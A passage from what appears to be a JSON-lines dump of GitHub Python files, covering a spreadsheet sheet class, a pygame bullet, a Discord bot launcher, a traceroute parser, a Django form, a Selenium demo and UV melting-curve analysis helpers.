значением вычисленное выражение\n \"\"\"\n\n if not (len(self._cell_list) == (self._size.x * self._size.y)):\n raise RuntimeError(f'Инициализация не закончена. '\n f'Кол-во заданных ячеек \"{len(self._cell_list)}\" из \"{self._size.x * self._size.y}\"')\n\n sheet_cell_value = {}\n\n # Вычислить результат для всех не выражений.\n for key, cell_value in self._cell_list.items():\n sheet_cell_value[key] = \\\n cell_value.get_value() if not isinstance(cell_value, ExpressionValue) else cell_value\n\n # Вычислить результат для всех выражений.\n for key, cell_value in sheet_cell_value.items():\n if isinstance(cell_value, ExpressionValue):\n cell_value.calc(key, sheet_cell_value)\n\n return sheet_cell_value\n\n\nclass SheetSize:\n \"\"\"\n Размер листа.\n\n Максимальные размеры листа расчитываются исходя из утверждения\n 'Ссылки на ячейки состоят из одной латинской буквы и следующей за ней цифры'.\n \"\"\"\n\n MAX_Y = 9\n \"\"\"\n Максимальный размер листа по вертикали (1-9)\n \"\"\"\n\n MAX_X = 26\n \"\"\"\n Максимальный размер листа по горизонтали (A-Z)\n \"\"\"\n\n def __init__(self, y: int, x: int):\n \"\"\"\n :param y: Размер по вертикали\n :param x: Размер по горизонтали\n\n :raise: ValueError\n \"\"\"\n\n if not(isinstance(y, int) and 0 < y <= self.MAX_Y):\n raise ValueError(f'Размер по вертикали должен лежать в диапазоне 1-{self.MAX_Y}!')\n self._y: int = y\n\n if not(isinstance(x, int) and 0 < x <= self.MAX_X):\n raise ValueError(f'Размер по горизонтали должен лежать в диапазоне 1-{self.MAX_X}!')\n self._x: int = x\n\n @property\n def y(self) -> int:\n \"\"\"\n Получить размер по вертикали\n \"\"\"\n return self._y\n\n @property\n def x(self) -> int:\n \"\"\"\n Получить размер по горизонтали.\n \"\"\"\n return self._x\n\n @classmethod\n def parser(cls, line: str) -> 'SheetSize':\n \"\"\"\n Разобрать размер листа\n\n :param line: Строка (в формате Y\\tX)\n :raises ValueError:\n \"\"\"\n\n error_text = f'Строка с размером листа должна быть в формате \"<1-{cls.MAX_Y}>/t<1-{cls.MAX_X}>\"!'\n\n if not (isinstance(line, str) and line):\n raise ValueError(error_text)\n\n values = line.split('\\t')\n if not (len(values) == 2 and values[0].isdigit() and values[1].isdigit()):\n raise ValueError(error_text)\n\n return SheetSize(int(values[0]), int(values[1]))\n","repo_name":"musohranov/excel","sub_path":"src/excel/sheet.py","file_name":"sheet.py","file_ext":"py","file_size_in_byte":5363,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"30303332198","text":"from .PhysicsEntity import PhysicsEntity\nfrom pygame import Rect, Surface\nimport math\nimport pygame\n\n\nclass Bullet(PhysicsEntity):\n def __init__(self, origin_pos, target_pos, lifetime, bullet_image=None, damage=1, base_velocity=5, **kwargs):\n\n x = target_pos[0] - origin_pos[0]\n y = target_pos[1] - origin_pos[1]\n direction = math.atan2(y,x)\n x_velocity = math.cos(direction) * base_velocity\n y_velocity = math.sin(direction) * base_velocity\n\n bullet_image = Surface((8, 8), pygame.SRCALPHA)\n bullet_image.fill((0, 0, 0, 0))\n pygame.draw.circle(bullet_image, (255, 200, 0), (4, 4), 4)\n\n rect = Rect(origin_pos, bullet_image.get_size())\n self.lifetime = lifetime\n super(Bullet, self).__init__(rect=rect, image=bullet_image, gravity=0,\n x_velocity=x_velocity, y_velocity=y_velocity, **kwargs)\n\n def update(self, **kwargs):\n self.lifetime -= 1\n super(Bullet, self).update(**kwargs)\n\n def gone(self, tick):\n return self.lifetime < 0\n","repo_name":"eustaceb/gu-gamejam2017","sub_path":"src/game_objects/Bullet.py","file_name":"Bullet.py","file_ext":"py","file_size_in_byte":1072,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"70559198170","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Aug 29 18:04:18 2014\n\n@author: Bing Liu\n\"\"\"\nfrom random import random\nfrom random import randint\nimport collections\n\ndef read_configuration(file_name):\n f_r = open(file_name, 'rb')\n ordered_dict = collections.OrderedDict()\n\n for line in f_r:\n sentence_type = line.split(';')[0]\n sentence_description = line.split(';')[1]\n sentence_num = int(line.split(';')[2]) \n ordered_dict[sentence_type + ':' + sentence_description] = sentence_num\n f_r.close()\n return ordered_dict \n\ndef weighted_random(weights_dict):\n number = random()*sum(weights_dict.values())\n for k,v in weights_dict.iteritems():\n if number < v:\n break\n number -= v\n return k\n\ndef random_ele(ele_list):\n return ele_list[randint(0, len(ele_list)-1)]\n\ndef read_weighted_dict(file_name):\n f_r = open(file_name, 'rb')\n weighted_dict = {}\n\n for line in f_r:\n ele = line.split('\\t')[0]\n weight = float(line.split('\\t')[1]) \n weighted_dict[ele] = weight\n f_r.close()\n return weighted_dict\n\ndef read_list(file_name):\n f_r = open(file_name, 'rb')\n ele_list = list()\n\n for line in f_r:\n ele_list.append(line.strip())\n f_r.close()\n return ele_list\n\ndef read_person_names(file_name, name_accu_prob_threshold): \n accu_prob_threshold = name_accu_prob_threshold\n # read female first names from file\n f_r = open(file_name, 'rb')\n name_dist = {}\n \n prob = 0\n for line in f_r:\n name = line.split()[0].title()\n accu = float(line.split()[2])\n if (accu < accu_prob_threshold):\n prob = float(line.split()[1]) \n name_dist[name] = prob\n f_r.close()\n return name_dist\n","repo_name":"HadoopIt/Sentence-Generator","sub_path":"functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":1762,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"32"} +{"seq_id":"6205061255","text":"import discord\nimport os\nimport pymongo\nfrom discord.ext import commands\nfrom keep_alive import keep_alive\n\n\nintents = discord.Intents.default()\nallowed_mentions = discord.AllowedMentions(everyone=False, roles=False)\nintents.members = True\nbot = commands.Bot(command_prefix=commands.when_mentioned_or('eto '), intents=intents, help_command=None, allowed_mentions = allowed_mentions)\ntoken = os.environ.get(\"Bot_Token\")\ndb = pymongo.MongoClient(os.environ['Mongo-DB-secret'])\nif db:\n print(\"Successfully connected to Singapore database.\")\nelse:\n raise \"Could not connect to Singapore database\"\n\nfor extension in os.listdir(\"extensions\"):\n if extension.endswith(\".py\"):\n bot.load_extension(f\"extensions.{extension[:len(extension)-3]}\")\n\n@bot.command(name=\"reload\", description=\"Reloads an extension\")\n@commands.has_permissions(administrator=True)\nasync def reload(ctx, extension=None):\n if extension==None:\n for extension in bot.extensions.copy():\n bot.reload_extension(f\"extensions.{extension}\")\n await ctx.send(\"Reloaded cozyeto\")\n print(\"Reloaded cozyeto\")\n else:\n bot.reload_extension(f\"extensions.{extension}\")\n await ctx.send(\"Done\")\n print(f\"Reloaded {extension}\")\n\n\n@reload.error\nasync def reload_error(ctx, error):\n if isinstance(error, commands.ExtensionNotFound):\n await ctx.send(\"Could not find that cog\")\n else:\n await ctx.send(\"Could not reload that cog\")\n raise error\n\n\n@bot.event\nasync def on_ready():\n print('Online!')\n\n\nkeep_alive()\nbot.run(token)","repo_name":"WillingGithubDude/Cozyeto","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1524,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"36933143865","text":"import numpy as np\nimport pandas as pd\nfrom sklearn.preprocessing import LabelEncoder\n\n\ndataset = pd.read_csv(\"data/data.csv\", sep=\",\")\n\ndef label_encoding(df):\n le = LabelEncoder()\n df['diagnosis'] = le.fit_transform(df['diagnosis'])\n return df\n\ndef test_diagnosis_column_():\n dataset = pd.read_csv(\"data/data.csv\", sep=\",\")\n dataset = label_encoding(dataset)\n assert dataset['diagnosis'].dtypes == 'int'\n\n\ndef test_values_diagnosis_column_():\n dataset = pd.read_csv(\"data/data.csv\", sep=\",\")\n dataset = label_encoding(dataset)\n assert dataset['diagnosis'].isin([0,1]).all() == True\n\n\n\n\n\n","repo_name":"Kibika/Causal_Inference","sub_path":"tests/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":616,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"26488035257","text":"# https://programmers.co.kr/learn/courses/30/lessons/72411\nfrom itertools import combinations\nfrom collections import Counter\n\ndef solution(orders, course):\n result = []\n for i in course:\n ord_com = []\n for order in orders:\n ord_com += combinations(sorted(order), i)\n most_ordered = Counter(ord_com).most_common()\n result += [ combi for combi, num in most_ordered if num > 1 and num == most_ordered[0][1]]\n return [ ''.join(i) for i in sorted(result)]\n\n'''\norders\t course\tresult\n[\"ABCFG\", \"AC\", \"CDE\", \"ACDE\", \"BCFG\", \"ACDEH\"]\t [2,3,4]\t[\"AC\", \"ACDE\", \"BCFG\", \"CDE\"]\n[\"ABCDE\", \"AB\", \"CD\", \"ADE\", \"XYZ\", \"XYZ\", \"ACD\"]\t[2,3,5]\t[\"ACD\", \"AD\", \"ADE\", \"CD\", \"XYZ\"]\n[\"XYZ\", \"XWY\", \"WXA\"]\t [2,3,4]\t[\"WX\", \"XY\"]\n'''\n","repo_name":"bigdatachobo/Study","sub_path":"Coding_Test/Programmers/Kakao_2021_coding_test/2번_메뉴_리뉴얼.py","file_name":"2번_메뉴_리뉴얼.py","file_ext":"py","file_size_in_byte":823,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"11952415820","text":"import json, string, sys, copy, ipaddress\n\nimport traceroute as tr\nimport timebins\n\ndebug_traces = False\n#t_addr = \"178.49.128.6\" # In trace 2, hop 5\nt_addr = \"81.23.23.77\"\n\ndef p_trace(nt, hops): #IC in_counts testing\n print(\"trace %d\" % nt)\n for hn,h in enumerate(hops):\n for rn,r in enumerate(h.responders):\n marker = \"\"\n adr = str(r.ip_add)\n if adr == t_addr:\n marker = \" <<<\"\n if rn == 0:\n print(\" %2d: %s (%d) %s\" % (\n hn, adr, len(r.rtts), marker))\n else:\n print(\" : %s (%d) %s\" % (\n adr, len(r.rtts), marker))\n\ndef read_tr_file(tb, f_tb_n, j_line, mx_traces):\n # mx_traces zero -> read whole file\n # Reads Traces into tb.bins[f_tb_n], i.e. for timein tb_n\n # Each line contains data from start_ to stop_time, i.e.one timebin\n empty_traces = too_short_traces = nt = 0\n ta = [] # Append traces from file to ta\n results = json.loads(j_line) # Reads all traces for tb\n for pr in results: # Probe\n #if nt % 1000 == 0:\n # sys.stdout.write(\". \"); sys.stdout.flush()\n msm_id = int( pr['msm_id'])\n prb_id = int( pr['prb_id'])\n ts = int( pr['timestamp'])\n bin_nbr = tb.bin_nbr(ts)\n nt += 1\n #if nt <= 4:\n # print(\"rtf: nt %d, ts %d, bin %d\" % (nt, ts, bin_nbr))\n #if bin_nbr == 2:\n # exit()\n dest = \"?\"; empty_traces = too_short_traces = 0\n dest = ipaddress.ip_address(pr['dst_addr'])\n #print(\"=== nt=%d, f_tb_n=%d, msm_id=%d, probe_id=%d, src=%s, ts=%d, >bin_nbr %d<, dest=%s, proto=%s\" %(\n # nt, f_tb_n, msm_id, prb_id, pr['src_addr'], ts, bin_nbr, dest, pr['proto']))\n\n hops = []; empty_hops = 0\n result = pr['result']\n for h in result: # Hops in prb_id result\n hn = h['hop']\n #sys.stdout.write(\"%6d \" % hn)\n if not 'result' in h:\n if 'error' in h:\n if h['error'].find(\"Network is unreachable\") != -1:\n continue # No traceroute for this probe\n print(\" Error: prb_id=%d, %s\" % (prb_id, h['error']))\n else:\n print(\">>> prb_id=%d, No 'result' and no 'error'\" % prb_id)\n continue\n resp_d = {}; loss = 0\n res = h['result']; rx = 0\n while rx < len(res): # Packets in Hop\n p = res[rx]\n #print(\"@@ 1: p = %s\" % p)\n addr = rtt = None\n if 'from' in p: # From address?\n addr = ipaddress.ip_address(p['from'])\n #print(\"@@ 2: addr = %s (%s)\" % (addr, type(addr)))\n if 'late' in p and rx < len(res)-1:\n np = res[rx+1]\n if 'x' in np: # 'from' followed by 'x'\n rtt = np['x'].encode('ascii','replace')\n rx += 1\n else:\n rtt = 'L'\n loss += 1\n else:\n if 'rtt' in p: # Get an rtt\n rtt = p['rtt']\n else:\n rtt = '?'\n loss += 1\n else: # No 'from'\n #if 'x' in p: # lone 'x'\n # rtt = p['x'].encode('ascii','replace')\n loss += 1\n if addr:\n if addr in resp_d:\n resp_d[addr].rtts.append(rtt)\n else:\n resp_d[addr] = tr.Responder(addr, [rtt])\n rx += 1\n resp_a = list(resp_d.values()) # List of responders\n if len(resp_a) == 0: \n empty_hops += 1\n hops.append(tr.Hop(hn, loss, resp_a))\n \n #for hn,h in enumerate(hops): # Look for t_addr\n # for r in h.responders:\n # if str(r.ip_addr) == t_addr:\n # p_trace(nt, hops)\n\n if len(hops) == empty_hops: # No valid hops\n empty_traces += 1\n elif len(hops)-empty_hops < 3: # cleanup_trace() needs 2 valid hops\n too_short_traces += 1\n else:\n t = tr.Trace(msm_id, prb_id, ts, dest, hops)\n # ts from sample in a half-hour json record may be outside\n # the bin by >~ 1 second!\n if bin_nbr >= len(tb.bins):\n print(\"+++ f_tb_n = %d, len(tb.bins) = %d\" % (\n f_tb_n, len(tb.bins)))\n else: # Bin nbr in range [0:n_bins-1]\n ta.append(t)\n\n #print(\"BIN_NBR %d, f_tb_n %d\" % (bin_nbr, f_tb_n))\n return ta, nt, bin_nbr, dest, empty_traces, too_short_traces\n\ndef cleanup_trace(t, tn): # tn = index in bin\n # Remove rfc1918 addresses, and duplicate responder address\n bad = False # Has rfc1918 address or recurring addresses\n if len(t.hops) == 0:\n return 0, 0, 0, 0,0, 0\n \n n_1918_deleted = addrs_deleted = hops_deleted = 0\n total_addrs = total_hops = 0\n if debug_traces: # Before\n print(\"Before\")\n print(\"Trace %d: ts=%d, dest=%s\" % (tn, t.ts, t.dest))\n for j,h in enumerate(t.hops):\n h.print_hop(j)\n print() \n cycle = 0\n while True: # Repeat until all duplicates are removed\n cycle += 1\n #print(\"cycle %d\" % cycle)\n if len(t.hops) > 0:\n d_empties = [] # Remove empty hops\n for hx,h in enumerate(t.hops):\n if len(h.responders) == 0:\n d_empties.append(hx)\n for hx in range(len(d_empties)-1, -1, -1):\n t.hops.pop(d_empties[hx])\n\n bad = False\n # Remove rfc_1918 responders in last hop\n d_dups = []; d_addrs = []\n if len(t.hops) > 0:\n #t.print_trace()\n for n,dr in enumerate(t.hops[-1].responders):\n # if dr.ip_addr.is_rfc1918: << using plt / python-libtrace\n dr_ipa = ipaddress.ip_address(dr.ip_addr)\n if dr_ipa.is_private:\n d_dups.append(-1); d_addrs.append(str(dr_ipa))\n n_1918_deleted += 1\n for j in range(len(d_dups)):\n t.hops[-1].responders.pop(d_dups[j])\n bad = True\n for hx in range(len(t.hops)-2, -1, -1): # Keep last occurrence\n # Remove duplicate and rfc_1918 responders in earlier hops\n sra = t.hops[hx].responders # Responders for previous hop (hx)\n dra = t.hops[hx+1].responders # Responders for this hop (hx+1)\n s_dups = []; s_addrs = []\n for dr in dra:\n dr_ipa = ipaddress.ip_address(dr.ip_addr)\n for x,sr in enumerate(sra):\n # if sr.ip_addr.is_rfc1918: << using plt / python-libtrace\n sr_ipa = ipaddress.ip_address(sr.ip_addr)\n if sr_ipa.is_private:\n n_1918_deleted += 1\n if sr_ipa == dr_ipa or sr_ipa.is_private:\n if not str(sr.ip_addr) in s_addrs:\n s_dups.append(x); s_addrs.append(str(sr.ip_addr))\n total_addrs += len(dra)\n if len(s_dups) > 0:\n if debug_traces:\n print(\"trace %d, hx %d, s_dups %s, s_addrs %s\" % (\n tn, hx, s_dups, s_addrs))\n ss_dups = sorted(s_dups)\n for x in range(len(ss_dups)-1, -1, -1):\n sra.pop(ss_dups[x])\n addrs_deleted += len(s_dups)\n bad = True\n total_hops += len(t.hops)\n\n if debug_traces: # After removing empty hops\n print(\"Trace %d: ts=%d, dest=%s, cycle=%d\" % (\n tn, t.ts, t.dest, cycle))\n for j,h in enumerate(t.hops):\n h.print_hop(j)\n print()\n\n if bad:\n for hx in range(len(t.hops)-1, -1, -1):\n if len(t.hops[hx].responders) == 0:\n t.hops.pop(hx)\n hops_deleted += 1\n else:\n break\n\n#? # Delete all but the last mx_hops+1 hops\n#? mx_hops = len(t.hops)\n#? if len(t.hops) > mx_hops+1:\n#? new_hops = t.hops[-(mx_hops+1):]\n#? t.hops = new_hops\n\n # Check for loops in the trace\n resp_addrs = []\n for j,h in enumerate(t.hops):\n for r in h.responders:\n resp_addrs.append(r.ip_addr)\n for j,a in enumerate(resp_addrs):\n if j < len(resp_addrs)-1:\n if resp_addrs[j+1] == a:\n print(\">>> loop in trace %i, j = %2i; %s\" % (\n tn, j, resp_addrs[j+1]))\n\n succ = False\n if len(t.hops) > 0:\n last_responders = t.hops[-1].responders\n #&print(\"tn=%d, last_responders=>%s<, t.dest=>%s<\" % (tn, last_responders, t.dest))\n if len(last_responders) == 1:\n succ = last_responders[0].ip_addr == t.dest\n #print(\"=== deleted: 1918 %d, addrs %d, hops %d, total_hops %d\" % (\n # n_1918_deleted, addrs_deleted, hops_deleted, total_hops))\n\n return n_1918_deleted, addrs_deleted, hops_deleted, \\\n total_addrs, total_hops, succ\n\ndef cleanup_bin(tb, bn):\n if bn >= len(tb.bins): # Ignore bins outside range [0:n_bins-1]\n return\n t_traces = t_1918_deleted = t_addrs_deleted = t_hops_deleted = 0\n t_addrs = t_hops = t_succ = 0\n #print(\"cleanup_bin(%d), tb=%s\" % (bn, tb))\n for tn,t in enumerate(tb.bins[bn]):\n t_traces += 1\n if t_traces % 1000 == 0:\n sys.stdout.write(\"- \"); sys.stdout.flush()\n #print(\"bn=%d, tn=%d, t = %s\" % (bn, tn, t))\n n_1918_deleted, addrs_deleted, hops_deleted, n_addrs, \\\n n_hops, succ = cleanup_trace(t, tn)\n\n t_1918_deleted += n_1918_deleted\n t_addrs_deleted += addrs_deleted\n t_hops_deleted += hops_deleted\n t_addrs += n_addrs\n t_hops += n_hops\n if succ:\n t_succ += 1\n print(\"*** tot_traces %d, tot_addrs %d, tot_hops %d, tot_succ %d\" % (\n t_traces, t_addrs, t_hops, t_succ))\n print(\"*** rfc1918 deleted %d, recurring addrs %d, hops %d\\n\" % (\n t_1918_deleted, t_addrs_deleted, t_hops_deleted))\n return t_traces, t_addrs, t_hops, t_succ, t_addrs_deleted, t_hops_deleted\n","repo_name":"nevil-brownlee/Atlas-graphs","sub_path":"read_atlas_gz.py","file_name":"read_atlas_gz.py","file_ext":"py","file_size_in_byte":10478,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"42397316560","text":"from django.utils.translation import ugettext_lazy as _\nfrom django.contrib.auth import get_user_model\nfrom django import forms\n\n# Get the user from settings\nUser = get_user_model()\n\n\nclass SendEmailForm(forms.Form):\n \"\"\"\n Form to send email to admin user.\n \"\"\"\n\n name = forms.CharField(\n max_length=100,\n label=_(\"Name\"),\n help_text=_(\"Insert your name.\")\n )\n\n email = forms.EmailField(\n label=_(\"Email\"),\n help_text=_(\"Insert your email.\")\n )\n\n message = forms.CharField(\n max_length=1000,\n label=_(\"Message\"),\n help_text=_(\"Insert the message.\"),\n widget=forms.Textarea\n )\n","repo_name":"2018-1-Testes-Grupo-6/TBL","sub_path":"core/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":666,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"32"} +{"seq_id":"29278460940","text":"from selenium import webdriver\r\nimport selenium\r\nimport time\r\nchrome_options = webdriver.ChromeOptions()\r\nchrome_options.binary_location = r\"C:\\Program Files (x86)\\Google\\Chrome Beta\\Application\\chrome.exe\"\r\n\r\nprefs = {\"profile.managed_default_content_settings.images\": 2}\r\nchrome_options.add_experimental_option(\"prefs\", prefs)\r\n# chrome_options.add_argument('--headless')\r\nchrome_options.add_argument('--disable-gpu')\r\ndriver = webdriver.Chrome(\r\n executable_path=r\"D:/HUST/BI/BI/chromedriver.exe\",\r\n chrome_options=chrome_options\r\n)\r\n\r\n\r\ndriver.get('http://www.google.com/')\r\ntime.sleep(5) # Let the user actually see something!\r\nsearch_box = driver.find_element_by_name('q')\r\nsearch_box.send_keys('ChromeDriver')\r\nsearch_box.submit()\r\ntime.sleep(5) # Let the user actually see something!\r\ndriver.quit()","repo_name":"thanhdath/RealtimeTrendingKeywords","sub_path":"test/run_selenium.py","file_name":"run_selenium.py","file_ext":"py","file_size_in_byte":812,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"32"} +{"seq_id":"35868127040","text":"#!/usr/bin/python3\n# Anas Jelloul\n\"\"\"Impliment insertion function.\"\"\"\n\n\ndef append_after(filename=\"\", search_string=\"\", new_string=\"\"):\n \"\"\"Insert text after each line containing a given string in a file.\n\n Args:\n filename (str): name_file.\n search_string (str): searched string.\n new_string (str): string to be inserted.\n \"\"\"\n txt = \"\"\n with open(filename) as r:\n for ln in r:\n txt += ln\n if search_string in ln:\n txt += new_string\n with open(filename, \"w\") as w:\n w.write(txt)\n","repo_name":"anasjelloule/alx-higher_level_programming","sub_path":"0x0B-python-input_output/100-append_after.py","file_name":"100-append_after.py","file_ext":"py","file_size_in_byte":569,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"72740447130","text":"movimientos = {\n 0: [6, 4],\n 1: [6, 8],\n 2: [7, 9],\n 3: [4, 8],\n 4: [3, 9, 0],\n 5: [],\n 6: [1, 7, 0],\n 7: [2, 6],\n 8: [1, 3],\n 9: [2, 4]\n}\n\n# Usaremos memoización para almacenar los resultados calculados\nmemo = {}\n\n\ndef calcular(inicio, pasos, n):\n # Verificar si ya calculamos esto antes\n if (inicio, pasos, n) in memo:\n return memo[(inicio, pasos, n)]\n\n movs = 0\n if pasos == 0:\n return 1\n if n > 0:\n for siguiente in movimientos[inicio]:\n movs += calcular(siguiente, pasos - 1, n - 1)\n\n # Almacenar el resultado calculado en la memoización\n memo[(inicio, pasos, n)] = movs\n\n return movs\n\n\ndef totalizar(pasos, n):\n total = 0\n for i in range(10):\n total += calcular(i, pasos, n)\n return total\n\n\nn = 100 # Especifica el número de movimientos\ntotal_movements = totalizar(n, n)\nprint(f\"Total de movimientos para {n} pasos: {total_movements}\")","repo_name":"frankiyonki/Tarea1","sub_path":"tarea1/caballo.py","file_name":"caballo.py","file_ext":"py","file_size_in_byte":947,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"37270278774","text":"\"\"\"\r\nFunctions for UV melting analysis\r\n\"\"\"\r\nimport numpy as np\r\nimport pandas as pd\r\nfrom scipy import stats\r\nimport os, json\r\nimport matplotlib.pyplot as plt\r\nfrom matplotlib.ticker import (MultipleLocator, FormatStrFormatter,\r\n AutoMinorLocator)\r\nfrom matplotlib.backends.backend_pdf import PdfPages\r\nimport seaborn as sns\r\nfrom tqdm import tqdm\r\nfrom lmfit import minimize, Minimizer, Parameters, report_fit\r\nfrom scipy.interpolate import interp1d\r\nfrom scipy import signal\r\nfrom hampel import hampel\r\nfrom .util import *\r\nfrom . import processing\r\n\r\nimport warnings\r\nwarnings.filterwarnings(\"ignore\")\r\n\r\ndef get_blanked_fn(fn):\r\n split_fn = os.path.splitext(fn)\r\n blanked_fn = split_fn[0] + '_blanked' + split_fn[1]\r\n return blanked_fn\r\n\r\ndef query_curve_in_df(df, curve_name):\r\n \"\"\"\r\n Args:\r\n curve_name - Dict\r\n \"\"\"\r\n row = df.query(\"curve_date == '%s' & curve_num == '%s'\" % (curve_name['curve_date'], curve_name['curve_num']))\r\n return row\r\n\r\ndef lookup_sample_df(df, df_ref, key):\r\n # looks up `key` in `df_ref`\r\n return df.apply(lambda row: df_ref.query(\"curve_date == '%s' & curve_num == '%s'\" % (row['curve_date'], row['curve_num']))[key].values[0], axis=1)\r\n\r\ndef find_blank_reference_curve_str(curve_str: str, blank_to):\r\n if not np.isnan(blank_to):\r\n curve_str_list = curve_str.split('_')\r\n blank_curve_str = '%s_%d_%s' % (curve_str_list[0], blank_to, curve_str_list[2])\r\n else:\r\n blank_curve_str = curve_str\r\n return blank_curve_str\r\n\r\ndef format_cd_data(fn):\r\n \"\"\"\r\n Format CD txt data to the same as from ECL\r\n \"\"\"\r\n curve = pd.read_table(fn, header=None)\r\n\r\n curve.columns = ['celsius', 'cd', 'v', 'absorbance']\r\n curve.drop(columns = ['cd', 'v'], inplace=True)\r\n\r\n curve.to_csv(fn.replace('.txt', '.csv'), index=False, header=None)\r\n \r\n\r\ndef read_curve(fn):\r\n curve = pd.read_csv(fn, header=None)\r\n curve.columns = ['celsius', 'absorbance']\r\n curve.sort_values(by='celsius', inplace=True)\r\n return curve\r\n \r\ndef read_sample_sheet(fn):\r\n sample_df = pd.read_csv(fn, index_col=0)\r\n sample_df['curve_date'] = sample_df['curve_date'].astype(str)\r\n sample_df['curve_num'] = sample_df['curve_num'].astype(str)\r\n \r\n #----- fill out default settings -----\r\n sample_df.celsius_min.fillna(sample_df.MinTemperature, inplace=True)\r\n sample_df.celsius_max.fillna(sample_df.MaxTemperature, inplace=True)\r\n # sample_df.loc[np.logical_and(sample_df.Blank == \"manual\", sample_df.SEQID != 'blank'), \"BlankTo\"].fillna(7)\r\n sample_df.loc[:,\"BlankTo\"].fillna(int(7), inplace=True)\r\n \r\n return sample_df\r\n\r\ndef parse_curve_name(fn):\r\n curve_date = fn.split('/')[-2].split('_')[0]\r\n curve_num = fn.split('/')[-1].split('_')[0]\r\n curve_name = fn.split('/')[-1].split('_')[1].split('.csv')[0]\r\n curve_str = f'{curve_date}_{curve_num}_{curve_name}'\r\n return dict(curve_date=curve_date, curve_num=curve_num, \r\n curve_name=curve_name, curve_str=curve_str)\r\n\r\ndef format_fit_result(out):\r\n result_dict = {}\r\n for p in ('dH', 'Tm', 'fmax', 'fmin', 's1', 's2'):\r\n result_dict[p] = out.params[p].value\r\n result_dict[p+'_std'] = out.params[p].stderr\r\n result_dict['rmse'] = np.sqrt(np.mean(np.square(out.residual)))\r\n return result_dict\r\n\r\ndef plot_curve_basic(curve):\r\n plt.plot(curve.celsius, curve.absorbance, '.')\r\n\r\ndef plot_curve_fit_result(row, return_curve=False):\r\n fn = row['data_file']\r\n blanked_fn = get_blanked_fn(fn)\r\n if os.path.isfile(blanked_fn):\r\n fn = blanked_fn\r\n curve = read_curve(fn)\r\n \r\n curve_predict = curve_model(curve.celsius, **{x:row[x] for x in ['dH','Tm','fmax','fmin','s1', 's2']})\r\n plt.plot(curve.celsius, curve.absorbance, '.')\r\n plt.plot(curve.celsius, \r\n curve_predict - curve_predict[0] + curve.absorbance[0])\r\n plt.axvline(row['Tm'], linestyle='--', c='gray')\r\n \r\n if 'SEQID' in row.index:\r\n plt.title('%s %s' % (row['SEQID'], row['curve_name']))\r\n else:\r\n plt.title('%s' % (row['data_file']))\r\n sns.despine()\r\n plt.show()\r\n \r\n if return_curve:\r\n return curve\r\n \r\ndef plot_curve_preview_of_datadir(datadir:str, sample_sheet_file:str, plot_fn:str=None):\r\n \"\"\"\r\n Plot raw absorbance of all curves in a single pdf file for preview and troubleshotting.\r\n Upper row: raw\r\n Lower row: if maunal blank, the blanked curves\r\n \"\"\"\r\n color_dict = dict(\r\n MeltingCurve='#a6cee3',\r\n CoolingCurve='#1f78b4',\r\n SecondaryMeltingCurve='#b2df8a',\r\n SecondaryCoolingCurve='#33a02c',\r\n TertiaryMeltingCurve='#fb9a99',\r\n TertiaryCoolingCurve='#e31a1c'\r\n )\r\n \r\n if plot_fn is None:\r\n plot_fn = os.path.join(datadir, \"preview_raw_absorbance_all_curves.pdf\")\r\n \r\n data_list = [fn for fn in absolute_file_paths(datadir) if fn.endswith('.csv')]\r\n sample_sheet = read_sample_sheet(sample_sheet_file)#.iloc[-21:,:]\r\n \r\n result_df = make_empty_result_df(data_list, sample_sheet, blank=True)\r\n result_df.sort_values(by=['curve_date', 'curve_num'], inplace=True)\r\n result_df['SEQID'] = lookup_sample_df(result_df, sample_sheet, 'SEQID')\r\n result_df['Blank'] = lookup_sample_df(result_df, sample_sheet, 'Blank')\r\n curve_dates = np.unique(result_df.curve_date)\r\n figs = [None for _ in range(len(curve_dates))]\r\n \r\n for i,curve_date in enumerate(curve_dates):\r\n formatted_curve_date = '%s-%s-%s %s:00' % (curve_date[:2], curve_date[2:4], curve_date[4:6], curve_date[6:])\r\n figs[i], ax = plt.subplots(2,7,figsize=(12,4), sharex=False, sharey=False)\r\n # ax=ax.flatten()\r\n plt.suptitle(formatted_curve_date)\r\n exp_df = result_df.query('curve_date == \"%s\"'%curve_date)\r\n for j,row in exp_df.iterrows():\r\n # raw curves\r\n curve = read_curve(row.data_file)\r\n curve_num = int(row.curve_num)\r\n curve_color = color_dict[row.curve_name]\r\n ax[0,curve_num-1].plot(curve.celsius, curve.absorbance, \r\n c=curve_color, linewidth=2)\r\n try:\r\n seqid = row['SEQID']\r\n except:\r\n seqid = \"\"\r\n ax[0,curve_num-1].set_title(seqid)\r\n \r\n # blanked curves\r\n if row.Blank == 'manual':\r\n try:\r\n blank_curve = read_curve(exp_df.query('curve_num == \"7\" & curve_name == \"%s\"'%row.curve_name).data_file.values[0])\r\n blanked_curve = curve.absorbance - blank_curve.absorbance\r\n ax[1,curve_num-1].plot(curve.celsius, blanked_curve,\r\n c=curve_color, linewidth=2, linestyle=':')\r\n except:\r\n pass\r\n \r\n sns.despine()\r\n \r\n _ = [ax[1,i].set_xlabel('Celsius (°C)') for i in range(7)]\r\n _ = [ax[i,0].set_ylabel('Absorbance') for i in range(2)]\r\n \r\n save_multi_image(plot_fn, figs)\r\n \r\n return result_df\r\n\r\ndef get_2nd_diff_autocorrelation(y, plot=False):\r\n y = y - np.mean(y)\r\n yacorr = np.correlate(y, y, 